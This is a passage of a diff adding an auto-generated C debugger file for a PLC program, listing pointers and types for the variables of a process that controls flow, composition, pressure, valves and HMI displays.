"iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1144 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern __IEC_BOOL_t RES0__RUN_BIT; +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ENO), BOOL_ENUM}, 